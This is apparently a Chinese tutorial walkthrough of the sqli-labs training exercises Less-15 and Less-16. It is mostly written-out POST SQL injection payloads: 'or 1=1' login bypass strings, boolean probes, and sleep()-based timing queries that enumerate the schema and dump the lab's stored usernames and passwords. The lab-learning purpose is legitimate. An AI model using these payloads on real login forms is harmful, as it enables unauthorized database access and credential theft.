Less-15
基于布尔型/时间延迟单引号POST型盲注
测试:
?id=1 uname=1&passwd=1 uname=1&passwd=1
?id=1' uname=1&passwd=1' =====同理==》uname=1'&passwd=1 (注: & 就相当于 and)
?id=1" uname=1&passwd=1" uname=1"&passwd=1
发现无报错信息,由此可推断这是一道非报错型注入,那么可以利用延时注入进行解题:
参考Less-9
测试:(这是一个坑,惯性思维导致的,不要测试了都是错的 (= ̄ω ̄=) 嘿嘿)
?id=1 and sleep(5)-- # uname=1&passwd=1 and sleep(5)-- # 同理: uname=1 and sleep(5)-- #&passwd=1
?id=1' and sleep(5)-- # uname=1&passwd=1' and sleep(5)-- # 同理: uname=1' and sleep(5)-- #&passwd=1
?id=1" and sleep(5)-- # uname=1&passwd=1" and sleep(5)-- # 同理: uname=1" and sleep(5)-- #&passwd=1
发现上面没有一个延迟的,后来想想不对啊,经过深思熟虑才发现GET型与POST型的时间盲注还是有点区别的,在前面的GET型中我们知道?id=1这个条件本来就是true,而我们测试POST型的uname和passwd都为1,这个条件本身为false,因为数据库没有这个用户,如果我们知道有一个用户的信息上面的语句就能使用:
可我们不知道用户怎么办?在POST型中要判断字符型注入,最快的方法就是利用“万能语句” 即
1 or 1=1 -- # 1) or 1=1-- # 1)) or 1=1-- #
1' or 1=1 -- # 1') or 1=1-- # 1') or 1=1-- #
1" or 1=1 -- # 1") or 1=1-- # 1") or 1=1-- # 。。。。
一般POST型使用1' or 1=1 -- #和1" or 1=1 -- # 成功的概率最大因单双引号引起的闭合问题更大点
或这样写:uname=1&passwd=1' or 1=1-- #
那么从这里我们可以初步判断出是单引号字符注入,而且我们从输入错误返回红色字体图片到输入成功返回蓝色字体图片可以想到true和false从而想到布尔盲注,也就印证了该题提示我们使用布尔盲注,参考Less-5的语句进行部分修改就可以开始我们的布尔盲注了,这里演示一个例子:
猜数据库第一位:(利用二分法):(特别提醒这里的逻辑运算符要用 or)
uname=1' or left(database(),1)>'a' -- #&passwd=1 返回正确
uname=1' or left(database(),1)>'s' -- #&passwd=1 返回错误
uname=1' or left(database(),1)='s' -- #&passwd=1 返回正确
由此推断出数据库第一位为s.那么猜第二位:uname=1' or left(database(),2)>'sa' -- #&passwd=1 等等。。。
布尔盲注是一个思路,那么延时注入就是另一个思路了,这得参考Less-9了,知道了单引号闭合的问题,下面就直接开始吧:
顺便说一下,要是直接进行延时注入的话,不用万能语句的话就用下面的测试语句:
正确的时候直接返回,不正确的时候等待 5 秒钟
uname=1' or if(1,1,sleep(3)) -- #&passwd=1 ------->这样的语句变成了uname=1' or 1=1 -- #&passwd=1 相当于万能语句
常用的判断语句:
' or if(1,1,sleep(5)) -- #
" or if(1,1, sleep(5)) -- #
) or if(1,1, sleep(5)) -- #
') or if(1,1, sleep(5)) -- #
") or if(1,1, sleep(5)) -- #
...........
注:
POST型延时注入比GET型延时注入还要慢,所以利用if()函数--》 正确的时候直接返回,不正确的时候等待 5 秒钟 这样的形式能加快一点点速度,且不能使用 if(1,sleep(5),1) 原因在于uname=1' or if(1,sleep(5),1) 的时候 uname=1本身是false,而
if(查询语句,sleep(5),1)
中查询语句为true执行sleep(5)那么语句就变成了uname=1' or sleep(5)-- # 这样的语句一看就是false,所以不能这么写。
猜数据库长度
(再次强调&passwd=1不能少,因为后台源码中设置uname和passwd这两个参数任何一个都不能为空,一旦其中一个为空将不会执行SQL语句)
uname=1' or if(length(database())=x,1,sleep(5))-- #&passwd=1
x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;
uname=1' or if(length(database())=8,1,sleep(5))-- #&passwd=1
当然,要是整洁美观点就这样写:
uname=1&passwd=1' or if(length(database())=8,1,sleep(5))-- #
1.猜数据库名(可以用 < > = 比较,对字符进行范围的判断,然后用二分法不断缩小范围)
uname=1&passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr(database(),2,1))=101,1,sleep(5))-- #
... ...
以此类推,我们知道了数据库名字是 security
2.猜数据库中的表
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,1,sleep(5))-- #
....
猜测第一个数据表的第一位是 e,...依次类推,得到 emailsuname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))-- #
uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))-- #
.......
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
......
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
示图:(展示一个)
3.猜users表里的列(ASCII码 i-105)
uname=1&passwd=1' or If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))-- #
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password(and table_schema=database()这条语句不能少是因为要排除其他数据库可能也会有users表)
4.猜users表里的username的值(ASCII码 D=68)
uname=1&passwd=1' or If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))-- #
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容:(13个账户与密码)Dumb:Dumb Angelinal:I-kill-you Dummy:p@ssword secure:crappy stupid:stupidiry superman:genious
batman:mob!le admin:admin admin1:admin1 admin2:admin2 admin3:admin3 dhakkan:dumbo admin4:admin4
小总结:(来自:https://www.jianshu.com/p/b9ceed993ad4)
0x01. 注入方式与回显对比
GET
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入 | 固定字符串 | Mysql错误信息 |
7 | 导出文件注入 | 固定字符串 | 另一固定字符串 |
8 | Bool型盲注 | 固定字符串 | 无 |
9 | Time型盲注 | 固定字符串 | 同一固定字符串 |
POST
Less | 注入方法 | 成功回显 | 失败回显 | 错误回显 |
---|---|---|---|---|
11 | 基于错误注入 | 用户名和密码 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
13 | 双注入 | 无 (flag.jpg) | 无 (slap.jpg) | Mysql错误信息 (slap.jpg) |
15 | Bool/Time型盲注 | 无 (flag.jpg) | 无 (slap.jpg) | 无 (slap.jpg) |
注意:GET和POST差别在于,GET只需要提交参数id
,而POST则需要username
与password
都正确。
0x02. 分析查询语句
不像GET中若出现错误回显必是Mysql语法错误(提交时使id
存在),POST若不返回Mysql错误信息,光凭一个登录失败
是分不清是用户名和密码不正确还是出现了Mysql语法错误。
所以我们就需要在POST时构造永真条件使返回忽略用户名和密码不正确这种情况。若将查询语句闭合则会显示登陆成功
,则可以依次增加小括号个数分析查询语句:
uname=1&passwd=1 or 1=1--+
uname=1&passwd=1' or 1=1--+
uname=1&passwd=1" or 1=1--+
uname=1&passwd=1') or 1=1--+
uname=1&passwd=1") or 1=1--+
=============================== 分割线 ============================
Less-16
基于bool型/时间延迟的双引号POST型盲注
利用万能语句,初步确认了这是一道带括号的双引号字符注入:
1") or 1=1 -- #
接下来据不多说了,与Less-15一样的套路,盲注/延时注入都可以。这里演示一个:
猜数据库长度: uname=1&passwd=1") or if(length(database())=8,1,sleep(5))-- #
再展示下源码: